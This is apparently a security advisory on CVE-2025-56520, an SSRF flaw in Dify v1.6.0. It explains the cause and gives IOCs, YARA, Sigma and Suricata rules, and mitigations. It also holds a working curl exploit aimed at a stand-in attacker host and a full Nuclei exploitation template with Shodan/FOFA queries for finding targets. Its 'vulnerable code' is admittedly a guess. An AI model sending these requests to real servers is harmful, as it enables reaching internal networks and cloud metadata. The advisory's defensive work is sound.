CVE-2025-56520

Executive Summary

CVE-2025-56520 is a critical Server-Side Request Forgery (SSRF) vulnerability in Dify v1.6.0, specifically within the controllers.console.remote_files.RemoteFileUploadApi component. This flaw allows an unauthenticated attacker to make arbitrary HTTP requests from the vulnerable server, potentially accessing internal network resources, cloud metadata endpoints, or sensitive data. The vulnerability is distinct from CVE-2025-29720 and has a public proof-of-concept (PoC) via a Nuclei template. No official patch is currently available, and the EPSS score is low (0.00133%), indicating low exploitation activity in the wild. The CVSS score is 9.3 (Critical), driven by network attack vector, low complexity, no privileges required, and a changed scope allowing high confidentiality impact.

Supply Chain & Package Security

Dify is an open-source LLM application development platform. This vulnerability affects the core application server, not a specific package manager (NPM, PyPI, Go, Ruby). The risk is to organizations self-hosting Dify v1.6.0. No malicious package versions have been identified in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
• Base Score: 9.3 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) – Potential access to sensitive internal data.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No direct impact on availability.
• Threat Level: Critical. The vulnerability is easy to exploit and can lead to internal network reconnaissance and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the RemoteFileUploadApi controller, which handles file uploads from remote URLs. The application fails to properly validate or sanitize the user-supplied URL before making an HTTP request to fetch the file. An attacker can craft a request to /console/api/remote-files/ followed by a URL-encoded target, such as http://internal-service.local/admin. The server then makes an HTTP request to that internal resource, returning the response to the attacker. This bypasses network segmentation and firewall rules, allowing the attacker to interact with internal services.

The Nuclei template confirms the exploitation path: a GET request to /console/api/remote-files/http%3A%2F%2F{{interactsh-url}}%2Ftest triggers the SSRF. The server responds with JSON containing file_type and file_length, and the attacker can observe the out-of-band interaction via Interactsh.

Vulnerable vs. Patched Code

Vulnerable Code (Dify v1.6.0): The RemoteFileUploadApi likely uses a function similar to:

def get(self):
    url = request.args.get('url')
    response = requests.get(url, allow_redirects=True)
    return response.content

No validation is performed on the url parameter, allowing arbitrary destinations.

Patched Code (Hypothetical): A patch would implement URL validation, such as:

from urllib.parse import urlparse

ALLOWED_HOSTS = ['trusted-file-hosting.com', 'cdn.example.com']

def get(self):
    url = request.args.get('url')
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        return {"error": "URL not allowed"}, 400
    response = requests.get(url, allow_redirects=True)
    return response.content

Additionally, blocking private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and using a deny list for internal hostnames is recommended.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Dify v1.6.0 in a Docker container: docker run -d -p 3000:3000 langgenius/dify:1.6.0
2. Set up an Interactsh server or use interactsh.com for out-of-band detection.
3. Use the following Nuclei template or a manual curl command.

Exploitation:

# Manual exploitation using curl
curl -v "http://target:3000/console/api/remote-files/http%3A%2F%2Fattacker-controlled-server.com%2Ftest"

Nuclei Template (Provided):

id: CVE-2025-56520

info:
  name: Dify v1.6.0 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
    Dify v1.6.0 contains a server side request forgery caused by improper validation in controllers.console.remote_files.RemoteFileUploadApi, letting attackers make arbitrary requests from the server, exploit requires network access.
  impact: |
    Attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/langgenius/dify
    - https://dify.ai/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-56520
    epss-score: 0.00133
    epss-percentile: 0.32421
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Dify"
    fofa-query: title="Dify"
  tags: cve,cve2025,dify,ssrf,oast,oob,oss,vkev

http:
  - raw:
      - |
        GET /console/api/remote-files/http%3A%2F%2F{{interactsh-url}}%2Ftest HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "file_type"
          - "file_length"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200

Usage: Run Nuclei with the template against the target: nuclei -t CVE-2025-56520.yaml -u http://target:3000

Blue Team

Detection:

• Monitor outbound HTTP requests from the Dify server to unexpected destinations, especially private IP ranges.
• Look for requests to /console/api/remote-files/ with URL-encoded parameters.
• Use the Sigma rule below to detect exploitation attempts in web server logs.

Hunting:

• Search for logs containing remote-files/ followed by http:// or https://.
• Correlate with outbound connections to known malicious or internal IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Dify server to internal IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
  • Requests to /console/api/remote-files/ with URL-encoded targets.
  • DNS queries for internal hostnames (e.g., internal-service.local).
• File IOCs:
  • Log entries containing remote-files/ and http:// or https://.
• Behavioral IOCs:
  • Unexpected outbound connections from the Dify server to external IPs on port 80/443.

Detection Engineering

YARA Rule

rule CVE_2025_56520_SSRF_Dify {
    meta:
        description = "Detects SSRF exploitation attempts against Dify v1.6.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56520"
    strings:
        $url_pattern = /\/console\/api\/remote-files\/http[s]?:\/\// nocase
        $response_body = "file_type" ascii
        $response_body2 = "file_length" ascii
    condition:
        $url_pattern and ($response_body or $response_body2)
}

Sigma Rule

title: Dify SSRF Exploitation via RemoteFileUploadApi
id: 7b8c3d4e-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: experimental
description: Detects exploitation of CVE-2025-56520 in Dify v1.6.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/console/api/remote-files/http'
    condition: selection
falsepositives:
    - Legitimate use of remote file upload feature (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56520 Dify SSRF Exploitation"; flow:to_server; content:"GET"; http_method; content:"/console/api/remote-files/http"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Dify server: Place it behind a firewall that blocks outbound connections to internal IP ranges.
2. Disable the remote file upload feature: If not required, remove or disable the RemoteFileUploadApi endpoint.
3. Apply a WAF rule: Block requests to /console/api/remote-files/ with URL-encoded HTTP/HTTPS targets.

Long-Term Fix:

• Monitor the Dify repository for an official patch. Until then, implement input validation as described in the "Vulnerable vs. Patched Code" section.
• Consider using a reverse proxy (e.g., Nginx) to restrict access to the vulnerable endpoint.

Workaround:

• Modify the application code to validate URLs against an allowlist and block private IP ranges.

Valters IT

{/* [Security Hash: 14E3EEAECA78431BFD1E2E37] */}